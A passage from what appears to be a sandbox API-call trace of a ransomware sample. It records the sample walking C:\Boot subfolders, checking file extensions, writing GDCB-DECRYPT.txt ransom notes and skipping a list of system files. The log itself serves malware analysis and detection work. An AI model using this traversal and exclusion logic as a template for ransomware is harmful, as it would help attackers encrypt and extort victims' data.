lpFindFileData=0x285f7b0) returned 1 [0169.544] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.544] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.544] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.544] lstrcmpW (lpString1="bootres.dll", lpString2=".") returned 1 [0169.544] lstrcmpW (lpString1="bootres.dll", lpString2="..") returned 1 [0169.544] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="bootres.dll" | out: lpString1="C:\\Boot\\Resources\\bootres.dll") returned="C:\\Boot\\Resources\\bootres.dll" [0169.544] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.544] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\bootres.dll") returned 29 [0169.544] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0169.544] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.544] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.544] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0169.544] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0169.544] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="en-US" | out: lpString1="C:\\Boot\\Resources\\en-US") returned="C:\\Boot\\Resources\\en-US" [0169.544] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US", lpString2="\\" | out: lpString1="C:\\Boot\\Resources\\en-US\\") returned="C:\\Boot\\Resources\\en-US\\" [0169.544] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.544] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.544] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.544] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.544] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.544] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.544] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\") returned 24 [0169.544] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\en-US\\*") returned="C:\\Boot\\Resources\\en-US\\*" [0169.544] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0x5a4dd8 [0169.545] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.545] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0169.545] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.545] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.545] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0169.545] lstrcmpW (lpString1="bootres.dll.mui", lpString2=".") returned 1 [0169.545] lstrcmpW (lpString1="bootres.dll.mui", lpString2="..") returned 1 [0169.545] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="bootres.dll.mui" | out: lpString1="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" [0169.545] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0169.545] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.545] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0169.545] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.545] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.545] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt" [0169.545] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0169.545] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.545] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0 [0169.545] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.545] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.545] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\Resources\\en-US\\\\GDCB-DECRYPT.txt") returned 41 [0169.545] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\resources\\en-us\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.545] GetLastError () returned 0x50 [0169.545] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.546] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\") returned 24 [0169.546] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\en-US\\*") returned="C:\\Boot\\Resources\\en-US\\*" [0169.546] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 0x5a4d18 [0169.546] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.546] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0169.546] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.546] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.546] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0169.546] lstrcmpW (lpString1="bootres.dll.mui", lpString2=".") returned 1 [0169.546] lstrcmpW (lpString1="bootres.dll.mui", lpString2="..") returned 1 [0169.546] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="bootres.dll.mui" | out: lpString1="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" [0169.546] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.546] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0169.546] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0169.546] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.546] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0169.546] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.546] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.546] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt" [0169.546] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.546] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0169.546] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0169.546] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0169.546] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0169.546] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.546] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.546] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.547] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.547] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 0 [0169.547] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.547] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.547] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.547] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.547] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\GDCB-DECRYPT.txt" [0169.547] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.547] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0169.547] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0169.547] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0169.547] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.547] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.547] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.547] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.547] FindClose (in: hFindFile=0x5a4fd8 | out: hFindFile=0x5a4fd8) returned 1 [0169.547] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.547] lstrcmpW (lpString1="ro-RO", lpString2=".") returned 1 [0169.547] lstrcmpW (lpString1="ro-RO", lpString2="..") returned 1 [0169.548] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ro-RO" | out: lpString1="C:\\Boot\\ro-RO") returned="C:\\Boot\\ro-RO" [0169.548] lstrcatW (in: lpString1="C:\\Boot\\ro-RO", lpString2="\\" | out: lpString1="C:\\Boot\\ro-RO\\") returned="C:\\Boot\\ro-RO\\" [0169.548] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.548] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.548] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.548] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.548] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.548] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.548] lstrlenW (lpString="C:\\Boot\\ro-RO\\") returned 14 [0169.548] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="*" | out: lpString1="C:\\Boot\\ro-RO\\*") returned="C:\\Boot\\ro-RO\\*" [0169.548] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a49d8 [0169.549] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.549] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.549] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.549] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.549] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.549] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.549] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.549] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned="C:\\Boot\\ro-RO\\bootmgr.exe.mui" [0169.549] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0169.549] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.549] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.549] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.549] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.549] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt" [0169.549] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0169.549] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.549] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.549] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.553] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.553] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ro-RO\\\\GDCB-DECRYPT.txt") returned 31 [0169.553] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ro-ro\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.553] GetLastError () returned 0x50 [0169.553] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.554] lstrlenW (lpString="C:\\Boot\\ro-RO\\") returned 14 [0169.554] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="*" | out: lpString1="C:\\Boot\\ro-RO\\*") returned="C:\\Boot\\ro-RO\\*" [0169.554] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a5018 [0169.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.554] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.554] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.554] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.554] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.554] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.554] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.554] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned="C:\\Boot\\ro-RO\\bootmgr.exe.mui" [0169.554] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.554] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0169.554] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0169.554] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.554] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.554] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.554] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.554] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt" [0169.554] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.554] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0169.554] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0169.554] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0169.554] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0169.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.554] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.555] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.555] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.555] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.555] FindClose (in: hFindFile=0x5a5018 | out: hFindFile=0x5a5018) returned 1 [0169.555] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.555] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0169.555] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0169.555] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ru-RU" | out: lpString1="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0169.555] lstrcatW (in: lpString1="C:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="C:\\Boot\\ru-RU\\") returned="C:\\Boot\\ru-RU\\" [0169.555] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.555] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.555] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.555] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0169.555] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="C:\\Boot\\ru-RU\\*") returned="C:\\Boot\\ru-RU\\*" [0169.555] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.555] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.555] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.556] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.556] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.556] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.556] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.556] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.556] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="C:\\Boot\\ru-RU\\bootmgr.exe.mui" [0169.556] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0169.556] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.556] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.556] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.556] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.556] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt" [0169.556] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0169.556] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.556] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.556] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.556] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.556] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\memtest.exe.mui") returned="C:\\Boot\\ru-RU\\memtest.exe.mui" [0169.556] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0169.556] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.556] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.556] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.556] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.556] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ru-RU\\\\GDCB-DECRYPT.txt") returned 31 [0169.556] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ru-ru\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.556] GetLastError () returned 0x50 [0169.556] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.557] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0169.557] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="C:\\Boot\\ru-RU\\*") returned="C:\\Boot\\ru-RU\\*" [0169.557] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4d18 [0169.557] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.557] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.557] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.557] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.557] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.557] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.557] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.557] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="C:\\Boot\\ru-RU\\bootmgr.exe.mui" [0169.557] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.557] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0169.557] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0169.557] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.557] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.557] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.557] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.557] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt" [0169.557] VirtualAlloc 